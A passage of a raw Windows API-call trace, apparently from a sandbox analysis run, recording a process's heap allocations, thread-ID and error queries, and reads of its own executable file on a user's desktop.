[0074.873] GetCurrentThreadId () returned 0x9b0 [0074.873] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a951b8 [0074.873] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30f9730 | out: hHeap=0x2ad0000) returned 1 [0074.873] GetCurrentThreadId () returned 0x9b0 [0074.873] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7ea8 | out: hHeap=0x2ad0000) returned 1 [0074.873] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba74d0 | out: hHeap=0x2ad0000) returned 1 [0074.873] GetCurrentThreadId () returned 0x9b0 [0074.873] GetCurrentThreadId () returned 0x9b0 [0074.873] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8650 [0074.873] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7700 [0074.873] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8ab0 [0074.873] GetCurrentThreadId () returned 0x9b0 [0074.873] GetCurrentThreadId () returned 0x9b0 [0074.873] GetCurrentThreadId () returned 0x9b0 [0074.873] GetCurrentThreadId () returned 0x9b0 [0074.873] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8ab0 | out: hHeap=0x2ad0000) returned 1 [0074.873] GetCurrentThreadId () returned 0x9b0 [0074.873] GetCurrentThreadId () returned 0x9b0 [0074.873] GetCurrentThreadId () returned 0x9b0 [0074.873] GetLastError () returned 0x0 [0074.873] GetLastError () returned 0x0 [0074.873] GetLastError () returned 0x0 [0074.874] GetLastError () returned 0x0 [0074.874] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f08 | out: hHeap=0x2ad0000) returned 1 [0074.874] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8b000 [0074.874] GetLastError () returned 0x0 [0074.874] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b7f28, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0074.874] GetFileType (hFile=0x1ec) returned 0x1 [0074.874] GetLastError () returned 0x0 [0074.874] GetCurrentThreadId () returned 0x9b0 [0074.874] GetLastError () returned 0x0 [0074.874] GetFileType (hFile=0x1ec) returned 0x1 [0074.874] GetFileInformationByHandle (in: hFile=0x1ec, lpFileInformation=0x9b7fa4 | out: lpFileInformation=0x9b7fa4) returned 1 [0074.874] FileTimeToLocalFileTime (in: lpFileTime=0x9b7fb8, lpLocalFileTime=0x9b7fe8 | out: lpLocalFileTime=0x9b7fe8) returned 1 [0074.874] FileTimeToSystemTime (in: lpFileTime=0x9b7fe8, lpSystemTime=0x9b7fd8 | out: lpSystemTime=0x9b7fd8) returned 1 [0074.874] FileTimeToLocalFileTime (in: lpFileTime=0x9b7fb0, lpLocalFileTime=0x9b7fe8 | out: lpLocalFileTime=0x9b7fe8) returned 1 [0074.874] FileTimeToSystemTime (in: lpFileTime=0x9b7fe8, lpSystemTime=0x9b7fd8 | out: lpSystemTime=0x9b7fd8) returned 1 [0074.874] FileTimeToLocalFileTime (in: lpFileTime=0x9b7fa8, lpLocalFileTime=0x9b7fe8 | out: lpLocalFileTime=0x9b7fe8) returned 1 [0074.874] FileTimeToSystemTime (in: lpFileTime=0x9b7fe8, lpSystemTime=0x9b7fd8 | out: lpSystemTime=0x9b7fd8) returned 1 [0074.874] GetLastError () returned 0x0 [0074.874] GetCurrentThreadId () returned 0x9b0 [0074.875] GetLastError () returned 0x0 [0074.875] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0074.875] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20138 | out: hHeap=0x2ad0000) returned 1 [0074.875] GetLastError () returned 0x0 [0074.875] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=8291592, lpDistanceToMoveHigh=0x9b8058*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b8058*=0) returned 0x7e8508 [0074.875] GetLastError () returned 0x0 [0074.875] GetCurrentThreadId () returned 0x9b0 [0074.875] GetLastError () returned 0x0 [0074.875] GetCurrentThreadId () returned 0x9b0 [0074.875] GetLastError () returned 0x0 [0074.875] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=7333914, lpDistanceToMoveHigh=0x9b83f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b83f0*=0) returned 0x6fe81a [0074.875] GetLastError () returned 0x0 [0074.875] GetCurrentThreadId () returned 0x9b0 [0074.875] GetLastError () returned 0x0 [0074.875] GetCurrentThreadId () returned 0x9b0 [0074.875] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x38e) returned 0x30fcdd8 [0074.875] GetLastError () returned 0x0 [0074.875] ReadFile (in: hFile=0x1ec, lpBuffer=0x2cc34d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b83a4, lpOverlapped=0x0 | out: lpBuffer=0x2cc34d0*, lpNumberOfBytesRead=0x9b83a4*=0x1000, lpOverlapped=0x0) returned 1 [0074.875] GetLastError () returned 0x0 [0074.876] GetCurrentThreadId () returned 0x9b0 [0074.876] GetLastError () returned 0x0 [0074.876] GetCurrentThreadId () returned 0x9b0 [0074.876] GetLastError () returned 0x0 [0074.876] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b707c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b707c*=0) returned 0x6ff81a [0074.876] GetLastError () returned 0x0 [0074.876] GetCurrentThreadId () returned 0x9b0 [0074.876] GetLastError () returned 0x0 [0074.876] GetLastError () returned 0x0 [0074.876] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc34d0 | out: hHeap=0x2ad0000) returned 1 [0074.876] CloseHandle (hObject=0x1ec) returned 1 [0074.876] GetLastError () returned 0x0 [0074.876] GetCurrentThreadId () returned 0x9b0 [0074.876] GetLastError () returned 0x0 [0074.876] GetCurrentThreadId () returned 0x9b0 [0074.877] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2cbc818 [0074.877] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x3026050 [0074.877] GetLastError () returned 0x0 [0074.877] GetCurrentThreadId () returned 0x9b0 [0074.877] GetLastError () returned 0x0 [0074.877] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc818 | out: hHeap=0x2ad0000) returned 1 [0074.877] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3026050, Size=0x832) returned 0x3026050 [0074.877] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30fcdd8 | out: hHeap=0x2ad0000) returned 1 [0074.877] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80a0 [0074.877] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca80a0, Size=0x20) returned 0x2a1fbf0 [0074.877] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fbf0, Size=0x40) returned 0x2a19250 [0074.877] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19250, Size=0x64) returned 0x2a196c8 [0074.877] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a196c8, Size=0x8c) returned 0x2ac0320 [0074.877] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0320 | out: hHeap=0x2ad0000) returned 1 [0074.877] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3026050 | out: hHeap=0x2ad0000) returned 1 [0074.877] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af30 [0074.878] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af30 | out: hHeap=0x2ad0000) returned 1 [0074.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fbd78 [0074.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8178 [0074.878] GetCurrentThreadId () returned 0x9b0 [0074.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7a48 [0074.878] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7a48 | out: hHeap=0x2ad0000) returned 1 [0074.878] GetCurrentThreadId () returned 0x9b0 [0074.878] GetCurrentThreadId () returned 0x9b0 [0074.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba73b8 [0074.878] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba73b8 | out: hHeap=0x2ad0000) returned 1 [0074.878] GetCurrentThreadId () returned 0x9b0 [0074.878] GetCurrentThreadId () returned 0x9b0 [0074.878] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7700 | out: hHeap=0x2ad0000) returned 1 [0074.878] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8650 | out: hHeap=0x2ad0000) returned 1 [0074.878] GetCurrentThreadId () returned 0x9b0 [0074.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a93fa0 [0074.878] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbd9d8 | out: hHeap=0x2ad0000) returned 1 [0074.878] GetCurrentThreadId () returned 0x9b0 [0074.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fa060 [0074.878] GetCurrentThreadId () returned 0x9b0 [0074.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8118 [0074.878] GetCurrentThreadId () returned 0x9b0 [0074.878] GetCurrentThreadId () returned 0x9b0 [0074.879] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8118, Size=0x20) returned 0x2a1fbf0 [0074.879] GetCurrentThreadId () returned 0x9b0 [0074.879] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fbf0, Size=0x40) returned 0x2a18dd0 [0074.879] GetCurrentThreadId () returned 0x9b0 [0074.879] GetCurrentThreadId () returned 0x9b0 [0074.879] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f68 [0074.879] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f08 [0074.879] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f08 | out: hHeap=0x2ad0000) returned 1 [0074.879] GetCurrentThreadId () returned 0x9b0 [0074.879] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80a0 [0074.879] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca80a0, Size=0x20) returned 0x2a1fbf0 [0074.879] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8bc8 [0074.879] GetCurrentThreadId () returned 0x9b0 [0074.879] GetCurrentThreadId () returned 0x9b0 [0074.879] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80a0 [0074.879] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca80a0 | out: hHeap=0x2ad0000) returned 1 [0074.879] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2cbc4b8 [0074.879] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc4b8 | out: hHeap=0x2ad0000) returned 1 [0074.879] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f858 [0074.879] GetLastError () returned 0x0 [0074.879] GetLastError () returned 0x0 [0074.880] GetLastError () returned 0x0 [0074.880] GetLastError () returned 0x0 [0074.880] GetLastError () returned 0x0 [0074.880] GetLastError () returned 0x0 [0074.880] GetLastError () returned 0x0 [0074.880] GetLastError () returned 0x0 [0074.880] GetLastError () returned 0x0 [0074.880] GetLastError () returned 0x0 [0074.880] GetLastError () returned 0x0 [0074.880] GetLastError () returned 0x0 [0074.880] GetLastError () returned 0x0 [0074.880] GetLastError () returned 0x0 [0074.880] GetLastError () returned 0x0 [0074.880] GetLastError () returned 0x0 [0074.880] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f858 | out: hHeap=0x2ad0000) returned 1 [0074.880] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f08 [0074.880] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8bc8 | out: hHeap=0x2ad0000) returned 1 [0074.880] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fbf0, Size=0x54) returned 0x2a6d610 [0074.880] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f08 | out: hHeap=0x2ad0000) returned 1 [0074.880] GetCurrentThreadId () returned 0x9b0 [0074.880] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30fce08 | out: hHeap=0x2ad0000) returned 1 [0074.880] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7188 [0074.881] GetCurrentThreadId () returned 0x9b0 [0074.881] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8148 [0074.881] GetCurrentThreadId () returned 0x9b0 [0074.881] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8148 | out: hHeap=0x2ad0000) returned 1 [0074.881] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2cbc4b8 [0074.881] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc4b8 | out: hHeap=0x2ad0000) returned 1 [0074.881] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fbf0 [0074.881] GetLastError () returned 0x0 [0074.881] GetLastError () returned 0x0 [0074.881] GetLastError () returned 0x0 [0074.881] GetLastError () returned 0x0 [0074.881] GetLastError () returned 0x0 [0074.881] GetLastError () returned 0x0 [0074.881] GetLastError () returned 0x0 [0074.881] GetLastError () returned 0x0 [0074.881] GetLastError () returned 0x0 [0074.881] GetLastError () returned 0x0 [0074.881] GetLastError () returned 0x0 [0074.881] GetLastError () returned 0x0 [0074.881] GetLastError () returned 0x0 [0074.881] GetLastError () returned 0x0 [0074.882] GetLastError () returned 0x0 [0074.882] GetLastError () returned 0x0 [0074.882] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fbf0 | out: hHeap=0x2ad0000) returned 1 [0074.882] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f08 [0074.882] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7188 | out: hHeap=0x2ad0000) returned 1 [0074.882] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a6d610, Size=0x8c) returned 0x2cbacf8 [0074.882] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f08 | out: hHeap=0x2ad0000) returned 1 [0074.882] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f858 | out: hHeap=0x2ad0000) returned 1 [0074.882] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8ae90 [0074.882] GetCurrentThreadId () returned 0x9b0 [0074.882] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8ae60 [0074.882] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ae90 | out: hHeap=0x2ad0000) returned 1 [0074.882] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30fa060 | out: hHeap=0x2ad0000) returned 1 [0074.882] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18dd0 | out: hHeap=0x2ad0000) returned 1 [0074.882] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f68 | out: hHeap=0x2ad0000) returned 1 [0074.882] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbacf8 | out: hHeap=0x2ad0000) returned 1 [0074.882] GetCurrentThreadId () returned 0x9b0 [0074.882] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fbbf0 [0074.882] GetCurrentThreadId () returned 0x9b0 [0074.882] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80a0 [0074.882] GetCurrentThreadId () returned 0x9b0 [0074.883] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca80a0, Size=0x20) returned 0x2a1fbf0 [0074.883] GetCurrentThreadId () returned 0x9b0 [0074.883] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f08 [0074.883] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f38 [0074.883] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f38 | out: hHeap=0x2ad0000) returned 1 [0074.883] GetCurrentThreadId () returned 0x9b0 [0074.883] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f38 [0074.883] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca7f38, Size=0x20) returned 0x2a1f858 [0074.883] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba81f0 [0074.883] GetCurrentThreadId () returned 0x9b0 [0074.883] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f80 [0074.883] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f80 | out: hHeap=0x2ad0000) returned 1 [0074.883] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2cbc4b8 [0074.883] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc4b8 | out: hHeap=0x2ad0000) returned 1 [0074.883] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x30fd010 [0074.883] GetLastError () returned 0x0 [0074.883] GetLastError () returned 0x0 [0074.883] GetLastError () returned 0x0 [0074.883] GetLastError () returned 0x0 [0074.883] GetLastError () returned 0x0 [0074.883] GetLastError () returned 0x0 [0074.883] GetLastError () returned 0x0 [0074.884] GetLastError () returned 0x0 [0074.884] GetLastError () returned 0x0 [0074.884] GetLastError () returned 0x0 [0074.884] GetLastError () returned 0x0 [0074.884] GetLastError () returned 0x0 [0074.884] GetLastError () returned 0x0 [0074.884] GetLastError () returned 0x0 [0074.884] GetCurrentThreadId () returned 0x9b0 [0074.884] GetLastError () returned 0x0 [0074.884] GetLastError () returned 0x0 [0074.884] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30fd010 | out: hHeap=0x2ad0000) returned 1 [0074.884] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80a0 [0074.884] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba81f0 | out: hHeap=0x2ad0000) returned 1 [0074.884] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f858, Size=0x54) returned 0x2aa2618 [0074.884] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca80a0 | out: hHeap=0x2ad0000) returned 1 [0074.884] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30fcfc0 | out: hHeap=0x2ad0000) returned 1 [0074.884] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8420 [0074.884] GetCurrentThreadId () returned 0x9b0 [0074.884] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f38 [0074.884] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f38 | out: hHeap=0x2ad0000) returned 1 [0074.884] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2cbc4b8 [0074.885] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc4b8 | out: hHeap=0x2ad0000) returned 1 [0074.885] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f858 [0074.885] GetLastError () returned 0x0 [0074.885] GetLastError () returned 0x0 [0074.885] GetLastError () returned 0x0 [0074.885] GetLastError () returned 0x0 [0074.885] GetLastError () returned 0x0 [0074.885] GetLastError () returned 0x0 [0074.885] GetLastError () returned 0x0 [0074.885] GetLastError () returned 0x0 [0074.885] GetLastError () returned 0x0 [0074.885] GetLastError () returned 0x0 [0074.885] GetLastError () returned 0x0 [0074.885] GetLastError () returned 0x0 [0074.885] GetCurrentThreadId () returned 0x9b0 [0074.885] GetLastError () returned 0x0 [0074.885] GetLastError () returned 0x0 [0074.885] GetLastError () returned 0x0 [0074.885] GetLastError () returned 0x0 [0074.885] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f858 | out: hHeap=0x2ad0000) returned 1 [0074.885] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0074.885] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8420 | out: hHeap=0x2ad0000) returned 1 [0074.886] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aa2618, Size=0x8c) returned 0x2ac0878 [0074.886] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8100 | out: hHeap=0x2ad0000) returned 1 [0074.886] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30fd038 | out: hHeap=0x2ad0000) returned 1 [0074.886] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afc0 [0074.886] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b050 [0074.886] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afc0 | out: hHeap=0x2ad0000) returned 1 [0074.886] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30fbbf0 | out: hHeap=0x2ad0000) returned 1 [0074.886] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fbf0 | out: hHeap=0x2ad0000) returned 1 [0074.886] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f08 | out: hHeap=0x2ad0000) returned 1 [0074.886] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0878 | out: hHeap=0x2ad0000) returned 1 [0074.886] GetCurrentThreadId () returned 0x9b0 [0074.886] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fafb0 [0074.886] GetCurrentThreadId () returned 0x9b0 [0074.886] GetCurrentThreadId () returned 0x9b0 [0074.886] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80a0 [0074.886] GetCurrentThreadId () returned 0x9b0 [0074.886] GetCurrentThreadId () returned 0x9b0 [0074.886] GetCurrentThreadId () returned 0x9b0 [0074.886] GetCurrentThreadId () returned 0x9b0 [0074.886] GetCurrentThreadId () returned 0x9b0 [0074.886] GetCurrentThreadId () returned 0x9b0 [0074.887] GetCurrentThreadId () returned 0x9b0 [0074.887] GetCurrentThreadId () returned 0x9b0 [0074.887] GetCurrentThreadId () returned 0x9b0 [0074.887] GetCurrentThreadId () returned 0x9b0 [0074.887] GetCurrentThreadId () returned 0x9b0 [0074.887] GetCurrentThreadId () returned 0x9b0 [0074.887] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f08 [0074.887] GetCurrentThreadId () returned 0x9b0 [0074.887] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f38 [0074.887] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af10 [0074.887] GetCurrentThreadId () returned 0x9b0 [0074.887] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8130 [0074.887] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af30 [0074.887] GetCurrentThreadId () returned 0x9b0 [0074.887] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f38 | out: hHeap=0x2ad0000) returned 1 [0074.887] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af10 | out: hHeap=0x2ad0000) returned 1 [0074.887] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0074.887] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8100 | out: hHeap=0x2ad0000) returned 1 [0074.887] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f08 | out: hHeap=0x2ad0000) returned 1 [0074.887] GetCurrentThreadId () returned 0x9b0 [0074.888] GetCurrentThreadId () returned 0x9b0 [0074.888] GetCurrentThreadId () returned 0x9b0 [0074.888] GetCurrentThreadId () returned 0x9b0 [0074.888] GetCurrentThreadId () returned 0x9b0 [0074.888] GetCurrentThreadId () returned 0x9b0 [0074.888] GetCurrentThreadId () returned 0x9b0 [0074.888] GetCurrentThreadId () returned 0x9b0 [0074.888] GetCurrentThreadId () returned 0x9b0 [0074.888] GetCurrentThreadId () returned 0x9b0 [0074.888] GetCurrentThreadId () returned 0x9b0 [0074.888] GetCurrentThreadId () returned 0x9b0 [0074.888] GetCurrentThreadId () returned 0x9b0 [0074.888] GetCurrentThreadId () returned 0x9b0 [0074.888] GetCurrentThreadId () returned 0x9b0 [0074.888] GetCurrentThreadId () returned 0x9b0 [0074.888] GetCurrentThreadId () returned 0x9b0 [0074.888] GetCurrentThreadId () returned 0x9b0 [0074.888] GetCurrentThreadId () returned 0x9b0 [0074.888] GetCurrentThreadId () returned 0x9b0 [0074.888] GetCurrentThreadId () returned 0x9b0 [0074.888] GetCurrentThreadId () returned 0x9b0 [0074.889] GetCurrentThreadId () returned 0x9b0 [0074.889] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f08 [0074.889] GetCurrentThreadId () returned 0x9b0 [0074.889] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0074.889] GetCurrentThreadId () returned 0x9b0 [0074.889] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8118 [0074.889] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f50 [0074.889] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f50 | out: hHeap=0x2ad0000) returned 1 [0074.889] GetCurrentThreadId () returned 0x9b0 [0074.889] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f08 | out: hHeap=0x2ad0000) returned 1 [0074.889] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca80a0, Size=0x20) returned 0x2a1fbf0 [0074.889] GetCurrentThreadId () returned 0x9b0 [0074.889] GetCurrentThreadId () returned 0x9b0 [0074.889] GetCurrentThreadId () returned 0x9b0 [0074.889] GetCurrentThreadId () returned 0x9b0 [0074.889] GetCurrentThreadId () returned 0x9b0 [0074.889] GetCurrentThreadId () returned 0x9b0 [0074.889] GetCurrentThreadId () returned 0x9b0 [0074.889] GetCurrentThreadId () returned 0x9b0 [0074.889] GetCurrentThreadId () returned 0x9b0 [0074.889] GetCurrentThreadId () returned 0x9b0 [0074.890] GetCurrentThreadId () returned 0x9b0 [0074.890] GetCurrentThreadId () returned 0x9b0 [0074.890] GetCurrentThreadId () returned 0x9b0 [0074.890] GetCurrentThreadId () returned 0x9b0 [0074.890] GetCurrentThreadId () returned 0x9b0 [0074.890] GetCurrentThreadId () returned 0x9b0 [0074.890] GetCurrentThreadId () returned 0x9b0 [0074.890] GetCurrentThreadId () returned 0x9b0 [0074.890] GetCurrentThreadId () returned 0x9b0 [0074.890] GetCurrentThreadId () returned 0x9b0 [0074.890] 